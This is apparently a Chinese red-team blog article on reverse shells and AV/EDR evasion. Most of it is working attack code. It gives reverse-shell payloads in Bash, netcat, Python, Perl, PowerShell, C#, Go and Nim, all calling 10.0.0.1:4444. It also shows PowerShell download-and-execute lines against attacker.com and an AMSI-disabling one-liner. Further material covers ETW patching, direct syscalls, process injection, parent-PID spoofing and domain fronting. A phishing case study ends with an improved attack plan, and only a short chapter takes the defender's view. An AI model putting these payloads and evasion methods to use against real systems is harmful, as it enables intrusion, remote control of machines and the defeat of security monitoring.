序言:在那根细线上跳舞
在红蓝对抗的修罗场里,如果说漏洞利用是攻城锤,那么反弹 Shell 就是那把刺入敌人心脏的细剑。
回溯十多年前,那个安全防护还处于“裸奔”的年代,渗透测试人员拿到 RCE 漏洞后,只需要随手扔出一个 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1,就能舒舒服服地拿到一个交互式终端,仿佛打通了任督二脉。那时的防火墙只管进不管出,杀软只认特征码,IDS 甚至连 SSL 流量都不看。但今天,时代变了。
当你费尽心机绕过了边界防火墙,利用一个极其隐蔽的 0day 拿到了一台边缘服务器的代码执行权限,正准备搓手庆祝时,你会发现:出网端口被严格限制,流量被 NGFW 深度检测,终端装着某 EDR,连 powershell.exe 启动都会被标记为高危进程。你敲下那行经典的 Bash 反弹命令,甚至连包都没发出去,进程就被 lsass.exe 盯死,直接被 kill 掉,紧接着就是 SOC 团队的告警电话。
现代防守方建立的是一张立体的防御网,而作为攻击者,我们需要在协议层、系统层、内存层之间走钢丝。今天,我们就来像解剖大象一样,深挖反弹 Shell 的底层原理,盘点 10 种从古老到现代的写法,并着重探讨在 AV(杀毒软件)和 EDR(终端检测与响应)的眼皮底下,如何把一个简单的反弹动作做得天衣无缝。
第一章:反弹 Shell 的本质与演进
在列出代码之前,我们必须搞清楚一件事:到底什么是反弹 Shell?
1.1 正向与反向的逻辑差异
- 正向 Shell:攻击者主动连接目标机器上开放的端口。这要求目标机器有公网 IP,或者做了端口映射,且防火墙允许外部流量进入。在内网渗透中,由于 NAT 和防火墙的隔离,这种模式几乎死绝。
- 反向 Shell:目标机器主动向攻击者控制的服务器发起连接,并将本地的输入输出(stdin/stdout/stderr)重定向到这条网络连接上。这只需要目标机器能出网即可,完美契合内网环境“出站策略通常比入站策略宽松”的特点。
1.2 伪终端与标准输入输出的重定向
所有的反弹 Shell,无论外壳多么花哨,底层逻辑只有一句:把网络 Socket 的文件描述符,绑定到本地终端进程的标准输入、标准输出和标准错误上。
在 Linux 中,万物皆文件。当你执行 /bin/bash 时,它默认从当前终端(通常是 /dev/tty 或伪终端 /dev/pts/0)读取输入,并把结果输出到那里。反弹 Shell 的核心就是用 Socket 的文件描述符替换掉默认的终端描述符。
了解了这一点,你就会明白为什么那么多看似不同语言的写法,其内核是惊人一致的。
第二章:十大反弹 Shell 写法大盘点
这里我们精选 10 种不同环境、不同语言下的经典与现代写法。它们不仅是脚本小子的字典,更是理解系统调用与协议交互的绝佳教材。
2.1 Bash 重定向:最原始的暴力美学
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
这是 Linux 下最经典、最精简的一句话。它的原理是利用 Bash 内置的 /dev/tcp 特性。当 Bash 访问 /dev/tcp/IP/PORT 时,它会自动发起一个 TCP 连接。
>& 符号在 Bash 中表示将标准输出和标准错误一起重定向到目标。0>&1 则将标准输入也重定向到标准输出(也就是 Socket)。
致命弱点:明文传输,且 /dev/tcp 是 Bash 的特性,非 Bash 环境(如 sh,zsh,或精简版 BusyBox)不支持。更致命的是,这种流量极其容易被安全设备识别为异常的交互式明文 Shell。
2.2 Netcat:网络瑞士军刀的百变用法
# 经典写法(需要支持 -e 参数的版本,如传统的 netcat-traditional)
nc -e /bin/bash 10.0.0.1 4444
# 现代 OpenBSD 版本不支持 -e 时的绕过写法(管道法)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f
Netcat 是网络界的瑞士军刀。-e 参数直接将指定的程序绑定到连接上。但由于 -e 参数过于危险,现代 Linux 发行版默认的 nc 往往去掉了这个参数。
于是有了下面的进阶版:利用命名管道(mkfifo)创建一个临时缓冲区,将输入输出通过 cat、/bin/sh 和 nc 管道串联起来,实现了同样的效果。
弱点:在极度受限的容器环境(如只读文件系统)中无法创建 /tmp/f。
2.3 Python:跨平台的红队中流砥柱
Python 几乎存在于所有现代 Linux 发行版和某些老旧 Windows 服务器上。它的网络和 OS 模块极其强大。
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
这段代码极其优雅地展示了原理。建立 Socket 连接后,使用 os.dup2() 将 Socket 的文件描述符分别复制到 0(stdin)、1(stdout)、2(stderr)上,最后 subprocess 启动一个 Shell,它自然就继承了重定向后的输入输出。
弱点:Python 脚本落地就是死。现在的 AV 对这段代码的特征码抓得死死的,且 Python 进程在 Windows 上发起外部网络连接的行为非常可疑。
2.4 Perl:被遗忘的暗道后门
Perl 曾经统治了 Web 良久。现在虽然用得少,但在某些老旧的 Unix、AIX 或早期的 WebLogic 环境中,Perl 往往是最后的救命稻草。
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
利用 IO::Socket::INET 建立连接,然后通过 fdopen 将标准输入输出绑定到 Socket 句柄上,最后进入 system 循环执行命令。
优点:极少有 AV 会专门去查杀 Perl 的内存特征,这属于历史遗留的盲区。
2.5 PowerShell:Windows 上的双刃剑
在 Windows 环境下,PowerShell 是无可争议的王者,因为它直接调用底层 .NET API,强大且系统自带。
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while($true){
$i = $stream.Read($bytes, 0, $bytes.Length)
if($i -le 0){break}
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbytes,0,$sendbytes.Length)
$stream.Flush()
}
$client.Close()
这是最基础的 TCP 客户端写法。建立连接后,循环读取网络流,利用 iex(Invoke-Expression)执行接收到的字符串,并将输出转回字节流发送回去。
致命弱点:AMSI(反恶意软件扫描接口)。今天,任何包含 iex、TCPClient 且意图明显是反弹的 PS 脚本,在内存中被 AMSI 截获的几率高达 99%。
2.6 PowerShell Base64 内存加载:初级的规避
为了规避 AMSI 和基于特征码的静态查杀,最常用的手段就是 Base64 编码后在内存中执行。
powershell -enc <Base64_Encoded_String>
或者通过 Web 下载执行:
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')
这避免了文件落地,且命令行参数看起来是一堆乱码。
弱点:AMSI 依然会在脚本解析执行前扫描内存中的明文内容。此外,执行 powershell.exe 并发起外部网络连接,是 EDR 基于行为分析的高优告警条件。
2.7 C# / .NET Assembly:现代红队的中流砥柱
当 PowerShell 被盯死,红队开始转向编译好的 C# 程序。通过 Execute-Assembly 等技术在内存中直接加载 .NET 字节码。
using System;
using System.Net.Sockets;
using System.Diagnostics;
class Shell {
static void Main() {
using (TcpClient client = new TcpClient("10.0.0.1", 4444)) {
using (Process proc = new Process()) {
proc.StartInfo.FileName = "cmd.exe"; // Windows
// proc.StartInfo.FileName = "/bin/bash"; // Linux
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.RedirectStandardInput = true;
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.RedirectStandardError = true;
proc.Start();
using (System.IO.Stream stream = client.GetStream()) {
byte[] buffer = new byte[4096];
System.Threading.Thread outputThread = new System.Threading.Thread(() => {
int read;
while ((read = proc.StandardOutput.BaseStream.Read(buffer, 0, buffer.Length)) > 0) {
stream.Write(buffer, 0, read);
stream.Flush();
}
});
outputThread.Start();
int inRead;
while ((inRead = stream.Read(buffer, 0, buffer.Length)) > 0) {
proc.StandardInput.BaseStream.Write(buffer, 0, inRead);
proc.StandardInput.BaseStream.Flush();
}
}
}
}
}
}
这段 C# 代码展示了如何用多线程处理输入输出的重定向。它编译后是一个纯粹的 PE 文件,或者通过内存加载执行。在 Cobalt Strike 中,execute-assembly 极其常用。
弱点:依然可能触发 ETW(Event Tracing for Windows)和 AMSI 的 .NET Assembly 扫描。
2.8 Go 语言编译:胖二进制的降维打击
Go 语言由于其静态编译特性,将所有依赖打包进一个巨大的二进制文件,导致传统的 AV 特征码扫描在庞大的无用代码中迷失方向,天然具备一定的免杀能力。
package main
import (
"os/exec"
"net"
)
func main() {
conn, _ := net.Dial("tcp", "10.0.0.1:4444")
cmd := exec.Command("/bin/sh") // Windows 用 "cmd"
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
短短几行代码,静态编译后体积可能高达 2MB。由于 Go 的底层网络调用并不像 C 直接调用 ws2_32.dll 那么容易被 Hook,很多基于 API 监控的 EDR 对 Go 程序的感知较弱。
弱点:文件体积过大,落地极其容易被发现;且 Go 编译的 Payload 通常没有经过混淆,容易被沙箱动态跑出网络连接行为。
2.9 Nim 语言:新晋当红炸子鸡
Nim 是近年来红队圈极其火热的语言。它能编译为 C,然后编译为原生机器码,既具备高级语法的便捷,又能完美规避 .NET Framework 对 AMSI 的依赖。
import net, osproc
let socket = newSocket()
socket.connect("10.0.0.1", Port(4444))
let process = startProcess("/bin/sh", args=["-i"], options={poUsePath, poStdErrToStdOut, poEcho})
process.inputHandle = socket.getFd
process.outputHandle = socket.getFd
process.errorHandle = socket.getFd
discard process.waitForExit()
Nim 编译后的原生可执行文件,不像 C# 那样带有强烈的 .NET 元数据特征,也不像 Go 那样体积夸张。它能在内存中直接执行系统调用,绕过 EDR 的用户态 Hook,是当前突破 Windows 终端防御的利器。
2.10 ICMP 隧道 Shell:极端环境的终极潜水艇
当 TCP/UDP 被防火墙彻底封死,只允许 Ping 出网时,我们需要把 Shell 流量封装在 ICMP 报文的数据载荷中。这通常无法用一句代码实现,需要借助如 icmpsh 这样的专用工具。
原理是:客户端(被控端)监听本机的 ICMP Echo Reply,将执行命令的结果编码进 Echo Request 发出;服务端(攻击端)将命令编码进 Echo Reply 发送。整个通信在防火墙看来只是正常的 Ping 流量。
弱点:带宽极窄,无法传输大文件,且回显极慢。但作为保命的最后一条通道,它往往是无可替代的。
第三章:AV/EDR 规避思路体系化讲解
上面列出的十种写法,如果直接丢到现在的实战环境里,80% 都会当场阵亡。真正的红队行动中,拿到一个可以工作的 Payload 只是开始,让它顺利落地、执行、存活,才是真正的技术含量所在。
现代终端防御体系的核心是两个:AMSI(反恶意软件扫描接口) 和 ETW(事件跟踪),以及 EDR 对 Windows API 的深度 Hook。
3.1 规避思路一:网络层的伪装与隧道化
明文 TCP 反弹在今天就是自杀。即使你用 C# 编译,EDR 抓不到你的文件特征,但 IDS/IPS 会立刻识别出这是一个交互式 Shell 流量,因为你每次敲一个命令,产生一个极小的 TCP 包,这种流量模型(长连接、小包、高频)极其典型。
解决之道:端口与协议前置
- 走 443 端口:不要用 4444 或 8443 这种一看就不正经的端口,直接用 443。
- TLS 加密:必须使用 TLS 封装流量。不管是用 Maligno 把 Metasploit 的 Payload 包一层,还是用 Cobalt Strike 自带的 HTTPS Beacon,流量必须是加密的,防止 IPS 深度检测。
- 域前置:这是高级红队的标配。通过配置你的 Payload,让 TLS 握手的 SNI 字段指向一个看似合法的企业域名(如
cdn.microsoft.com),但实际路由的 IP 却是你的 VPS。防火墙看到你在访问微软的 CDN,往往会放行,而流量却去了你的控制端。 - 借用合法云服务:更进一步,利用 Github、Pastebin、微云、甚至钉钉的 API 来下发指令和回传结果。你的反弹 Shell 根本不连 VPS,而是去轮询一个云端的文本文件。这在流量层是无懈可击的,因为它访问的都是绝对合法的域名。
3.2 规避思路二:AMSI 的刺杀与绕过
AMSI 是 Windows 10 以后微软引入的防线。无论是 PowerShell、VBS、JScript 还是 C# 的 Assembly,在执行前,其内存中的明文脚本都会被送给 AMSI 扫描。如果你的代码里有 DownloadString 或 TCPClient,直接就会被打上恶意标签,导致 ExecutionPolicy 抛出错误,进程终止。
思路 A:打残 AMSI
既然 AMSI 是一个 DLL(amsi.dll),加载进进程后,它需要调用 AmsiScanBuffer 这个函数来扫描。如果我们在它加载时,把内存中 AmsiScanBuffer 函数入口处的机器码改掉(比如直接让它返回 0 也就是无威胁),AMSI 就成了瞎子。
经典的利用代码(通过 PowerShell 实现,需混淆):
# 伪代码示意:找到 amsi.dll 里 AmsiScanBuffer 的地址,修改首字节为 ret (0xc2 0x00 0x00)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
这种内存补丁法极为有效,但微软也在防御。EDR 会监控进程对 amsi.dll 内存空间的修改权限。一旦发现 VirtualProtect 将只读改为可写,立刻告警。
思路 B:内存加载与反射式 DLL注入
为了避免文件落地被 AV 扫描,红队大量使用内存加载技术。将编译好的 C# 或 C++ Payload 转换为 Shellcode 或 Byte 数组,在内存中通过 Assembly.Load() 或反射式 DLL 注入直接执行。配合上面的打残 AMSI 操作,可以完美绕过静态查杀和入口点扫描。
3.3 规避思路三:ETW 的蒙眼杀法
AMSI 扫描的是脚本和 Assembly 的内容,而 ETW 负责记录 .NET 运行时的行为。EDR 强依赖 ETW 提供的日志来发现异常。比如,你的 Payload 即使绕过了 AMSI 在内存中执行了,但 ETW 会记录下“powershell.exe 发起了一个 TCP 连接到外部 443 端口”这个行为,EDR 依然会报警。
思路:卸载 ETW Provider
和打残 AMSI 类似,ETW 的日志是由各个 Provider 提供的(如 .NET Framework)。我们可以在 Payload 启动的第一时间,通过修改注册表或调用 API(EtwEventUnregister)来注销特定的 ETW Provider,从而让防守方的 SIEM 平台收不到相关的行为日志。
更高级的做法是“ETW Blind Patch”:找到 ntdll!EtwEventWrite 函数,将其内存代码直接 Patch 为 ret,让所有的 ETW 事件写入操作直接返回,彻底蒙住 EDR 的眼睛。
3.4 规避思路四:直接系统调用
这是当前对抗 EDR 最高级也是最核心的技术。
现代 EDR(如 CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)是如何发现你执行了恶意操作的?它们通过在用户态(Ring 3)向系统核心 DLL(如 ntdll.dll)的关键函数插入 Hook(通常是 jmp 指令,跳到 EDR 自己的 DLL 中去检查参数)。
比如,你想创建一个进程(CreateProcess),或者建立网络连接(WinHttpSendRequest),底层最终都会调用 ntdll.dll 里的 NtCreateSection、NtProtectVirtualMemory 等原生系统调用。EDR 在这些地方下了 Hook,你一调用,它就截获,检查你传入的参数是否恶意,如果是就直接拒绝并告警。
破局之法:Direct System Calls(直接系统调用)
我们不通过 ntdll.dll 去调用这些函数,而是直接在代码里用汇编语言(或编译好的机器码)调用系统的 Syscall ID。
例如,在 Windows 10 里,NtAllocateVirtualMemory 的 Syscall ID 是 0x18。我们直接在 Payload 中写:
mov r10, rcx ; 按照调用约定,第一个参数放 rcx,移到 r10
mov eax, 18h ; 把 Syscall ID 放入 eax
syscall ; 直接陷入内核态
ret
这直接跳过了用户态的所有 DLL,EDR 在用户态插的 Hook 根本没机会执行。攻击者像幽灵一样,直接在内核态完成了内存分配、进程创建、网络连接等高危操作。
红队利器:像 SysWhispers、Hells Gate 等技术,能够动态获取 Syscall ID 并构造直接系统调用的 Payload,是目前高级威胁绕过所有主流 EDR 的杀手锏。
3.5 规避思路五:行为的合理化与 Parent PID Spoofing
即使你绕过了所有的技术检测点,EDR 还有一招杀手锏:行为基线。
一个正常的 explorer.exe 启动 notepad.exe 是正常的。但如果你控制了一个 Web 服务进程(如 w3wp.exe),它突然启动了 cmd.exe,而 cmd.exe 又向外部发起了 TCP 连接,这种父子进程链和异常的网络行为,是安全运营人员最敏感的痛点。
思路 A:进程注入
不要去启动新的进程。把你的 Shellcode 注入到一个看起来合法的、正在运行的进程里(如 svchost.exe 或一个闲置的 notepad.exe)。通过 VirtualAllocEx 分配内存,WriteProcessMemory 写入代码,然后修改线程上下文(SetThreadContext)使其跳转执行。这样,发起网络连接的进程是极其合法的。
思路 B:父进程欺骗
如果你必须启动一个新进程,可以通过 CreateProcess 的 STARTUPINFOEX 结构,指定一个假的父进程。比如,让 cmd.exe 的父进程变成 explorer.exe,而不是 w3wp.exe。这样,EDR 的进程树分析就会认为这是用户正常操作启动的,从而逃避告警。
第四章:实战复盘:一次被 EDR 秒杀的教训
讲太多理论容易让人头晕,我们来看一个真实的红队失败案例,看看在实战中,忽略了 AV/EDR 会导致什么后果。
某次针对大型金融企业的红队评估。目标外网防护极好,没有任何 Web 漏洞。红队通过社工钓鱼,发送了一个看似正常的 PDF,里面夹带了一个 LNK 快捷方式文件。当员工点击 LNK 时,它执行了这样一条命令:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
红队满心欢喜,以为这个隐藏窗口的 PowerShell 会去下载脚本并在内存中执行,拿到一个 Meterpreter。
结果:员工点击后不到 3 秒,VPS 没有收到任何连接。客户的 SOC 打来电话:“我们抓到你们的攻击了,机器已经被隔离。”
复盘分析:
- 明显的特征:
-windowstyle hidden和-exec bypass是 PowerShell 恶意脚本最常见的两个参数。Windows Defender 在解析命令行时,直接命中特征码,进程被拦截。 - AMSI 截杀:即使 Defender 没拦住启动,当
IEX下载完shell.ps1的内容准备在内存中执行时,AMSI 介入扫描,发现其中含有TcpClient的反弹特征,直接发出AMSI_RESULT_DETECTED信号,PowerShell 进程被强制终止。 - 行为告警:员工电脑上的
explorer.exe直接发起了对http://attacker.com的 HTTP 请求。这个域名刚注册一周,没有信誉。终端 EDR 的 IP 信誉库直接将其标记为高危 C2,触发了自动隔离策略。
改进思路:
如果重做这次行动,红队应该怎么做? - 不用 PowerShell:这是最大的败笔。任何带参数的 PS 启动都极其危险。改用编译好的 Nim 或 C# 原生 PE 文件,捆绑在 PDF 的漏洞利用中。
- 使用合法云服务做中转:Payload 去访问一个预先准备好的 Pastebin 链接(
https://pastebin.com/raw/xxxxx),而不是自己的 VPS。EDR 不会封禁 Pastebin。 - 直接系统调用 + 进程注入:Payload 执行后,通过直接系统调用绕过 EDR Hook,把真正的 Shellcode 注入到
explorer.exe中,由explorer.exe发起到 VPS 的 443 端口连接。 - 流量伪装:VPS 配置域前置,让流量看起来是访问
cdn.cloudflare.com的正常 HTTPS 流量。
只有做到这一步,这次行动才有一线生机。
第五章:蓝队视角的反制与未来展望
攻击者不断升级武器,防守方也不会坐以待毙。现代蓝队已经从单纯的“查杀”进化到了“态势感知”和“主动反制”。
5.1 立体化行为监控
不再依赖单纯的文件特征码扫描(Hash 签名),而是引入了机器学习分析进程行为。
例如,Excel.exe 启动 cmd.exe,这在 99.9% 的情况下是不正常的。EDR 会直接切断这个进程链,无论 cmd.exe 里面执行的是多么隐蔽的直接系统调用。
同时,监控网络连接行为基线:一台财务部的办公机,突然在半夜 2 点向一个 VPS 发起了持续的长连接,即使流量加密了无法解密,但连接的目的地、时间、流量模型都可以作为判定恶意的依据。
5.2 内核回调
EDR 在内核态(Ring 0)注册了回调函数(如 PsSetCreateProcessNotifyRoutine)。这比用户态的 Hook 更难绕过。当你的 Payload 通过直接系统调用创建新进程时,虽然绕过了用户态的 ntdll.dll,但在陷入内核态的那一瞬间,系统会通知所有注册了回调的 EDR 驱动。EDR 会检查你创建的是什么进程,参数是什么,依然有机会拦截。
要绕过内核回调,攻击者往往需要寻找未公开的、没有注册回调的系统内部机制,或者直接攻击内核驱动本身(这越来越难,因为微软强化了驱动签名和 Patch Guard)。
5.3 主动反制与蜜罐
高级蓝队会在内网部署大量的“诱饵”。比如一个看似重要的 prod-database-server,其实是一台蜜罐。当红队的反弹 Shell 脚本扫描到这台机器,并尝试通过抓取浏览器密码或 SSH 密钥进行横向移动时,一旦触碰,蜜罐立刻触发最高级别告警,甚至主动下发脚本去反清红队的木马,也就是俗称的“互相伤害”。
第六章:结语——没有银弹,只有永恒的博弈
从 Bash 的一行重定向,到 Nim 语言编译的原生机器码;从明文的 TCP 连接,到域前置和直接系统调用。反弹 Shell 技术的演进史,就是一部现代网络安全攻防的微观史。
在实战中,没有任何一种技术是万能的“银弹”。
C# 很强,但遇到只看行为的 EDR 就会吃瘪;直接系统调用很无敌,但稍有不慎触发内核回调就会暴露。真正的红队高手,不是手里有多少个 0day,而是深刻理解了操作系统架构、网络协议栈和防守设备逻辑后,能够针对特定目标环境,像一个精密的钟表匠一样,拼凑出最合适的绕过路径。
当防御方引入了零信任、引入了硬件级虚拟化隔离(如 VBS),未来的反弹 Shell,可能必须从 CPU 的微码层或者固件层去寻找突破口。
但在所有这些花里胡哨的技术背后,不要忘了那最原始的一句:
bash -i >& /dev/tcp/... 0>&1
369

被折叠的 条评论
为什么被折叠?



